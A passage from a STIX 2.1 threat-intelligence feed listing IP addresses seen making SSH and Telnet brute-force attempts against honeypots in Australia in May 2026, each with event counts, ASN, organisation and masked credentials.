      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264158. Organisation(s): E QUARESMA NETO PROVEDORES EIRELI - ME.",
      "id": "indicator--e7e7cccc-4e90-4733-af82-467213227e95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.121.163.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GY. ASN(s): 19863. Organisation(s): Guyana Telephone & Telegraph Co..",
      "id": "indicator--084af8b5-87db-4526-9543-1ed98cd24138",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.41.70.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--0a2d52e6-2bc1-47df-b858-3634134c462d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.231.65.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 12091. Organisation(s): MTNNS-1.",
      "id": "indicator--ecd7353b-a39b-4607-9ed1-7f93782018df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.122.84.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 45905. Organisation(s): Stargate Communications Ltd..",
      "id": "indicator--8bbc1357-4dcf-4969-ad40-02373370443b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.118.244.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267332. Organisation(s): PROVEDOR NET MAIS LTDA - ME.",
      "id": "indicator--396a8123-1a97-4ee2-a3b8-9db38681b1f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.233.244.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e226713a-1efc-48b1-9330-092ce5785ed6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T18:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 49804. Organisation(s): Mips Group LLC.",
      "id": "indicator--65d37416-317c-4a06-862f-bb9b4fad4a8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T18:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.131.223.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:15:31.000Z",
      "valid_until": "2026-06-12T18:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--f984683b-ad8c-4f13-b7a3-c0f0e98265ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.154.106.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--80cfe97e-b8ea-421a-9126-72eb2025ecd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.118.148.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58466. Organisation(s): CHINANET Guangdong province network. Usernames observed (masked): a***n. Passwords observed (masked): p****4.",
      "id": "indicator--0e877365-7703-4e9d-8d15-fb1759ce76be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.88.225.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--bc9a4cb2-b51d-48d3-9aad-afbc95814a6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.111.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 399275. Organisation(s): Solid Systems LLC.",
      "id": "indicator--62b1434c-018f-4d6c-99d3-56118b1181e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.5.1.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 433. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, f****e, u****u, a***n, a******3. Passwords observed (masked): 1****6, !******X, *, ***, 1***5.",
      "id": "indicator--cae7d8eb-447c-44d9-b877-f290dd97583e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.253.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, u****u, 3**********4, a***n, f*****r. Passwords observed (masked): !******r, !******4, *, 3**********4, a******3.",
      "id": "indicator--4f80c9f5-ba2b-4766-832d-3f7a8b3e1e6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.128.18.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c154c172-6bf8-4b0c-ab0f-73726e304a85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.157.57.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 14754. Organisation(s): TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA.",
      "id": "indicator--be76d8ee-d180-4090-b2c1-940d5eb125a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.212.123.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 52262. Organisation(s): Telefonica Celular S.A.",
      "id": "indicator--c04cc2f8-6d4e-4795-bb61-392ff65ad2ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.53.248.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--7e75437f-0ad5-4364-9e9b-31c96c046457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.120.230.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 40788. Organisation(s): Start Communications.",
      "id": "indicator--5270220e-1fa0-4ff5-a496-aebe0c965d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.2.102.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 132165. Organisation(s): Connect Communications.",
      "id": "indicator--56646435-cee5-4a0f-b369-c1454addc2b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.96.93.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271909. Organisation(s): TELECOMUNICACIONES, MANTENIMIENTO Y SERVICIOS P&C, C.A..",
      "id": "indicator--73638f77-18e6-44bb-8af2-3a0501f81c41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.3.192.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--67effad2-39df-4a83-854c-329282b9302f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): u****u, 3**********4, A***********r, a***n, ***. Passwords observed (masked): P******d, ***, 1****3, 1****6, 1******8.",
      "id": "indicator--4de6387b-6010-44c2-880f-7a93c263c476",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.193.216.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 44894. Organisation(s): Ukrchermetavtomatika LLC.",
      "id": "indicator--f6a2f16e-9b90-4abe-91ef-f1c114aabdbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.203.63.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:15:10.000Z",
      "valid_until": "2026-06-12T19:15:08.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--f90a016f-84d2-464b-a548-fcb15ff6c13c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.206.158.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Laws Cloud Infrastructure Limited. Usernames observed (masked): t**t, u****u, r**t, a***n, p******s. Passwords observed (masked): 1****3, **, 1****3, 1**4, 1******8.",
      "id": "indicator--eee22484-4982-4ce1-ba78-e81d397de20e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.10.115.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269348. Organisation(s): REDES METRO.",
      "id": "indicator--be6be1aa-24d1-4770-a71c-a52b21cd0b79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.201.48.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 273280. Organisation(s): Jorge Juarez Luna.",
      "id": "indicator--ac11e9a7-26b0-4f18-8638-8610e1407495",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.102.229.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--2e941b32-d251-4b84-a29e-b3198a132e62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.59.183.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--2ecb1c35-cf00-4dd5-bb90-c999123e3029",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.162.231.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12668. Organisation(s): LLC KomTehCentr.",
      "id": "indicator--f535a264-e7d4-42b6-9362-bf8898bf2498",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.192.180.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CG. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--2cf89c85-9cb5-46c9-8409-663612081499",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.75.72.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--81cf4e1d-411d-440f-a03a-c7c3c23af97b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.222.147.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T20:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--21d5c6e2-60d4-459c-a3d5-c7c5ceb74775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.121.4.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T20:15:08.000Z",
      "valid_until": "2026-06-12T20:15:03.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
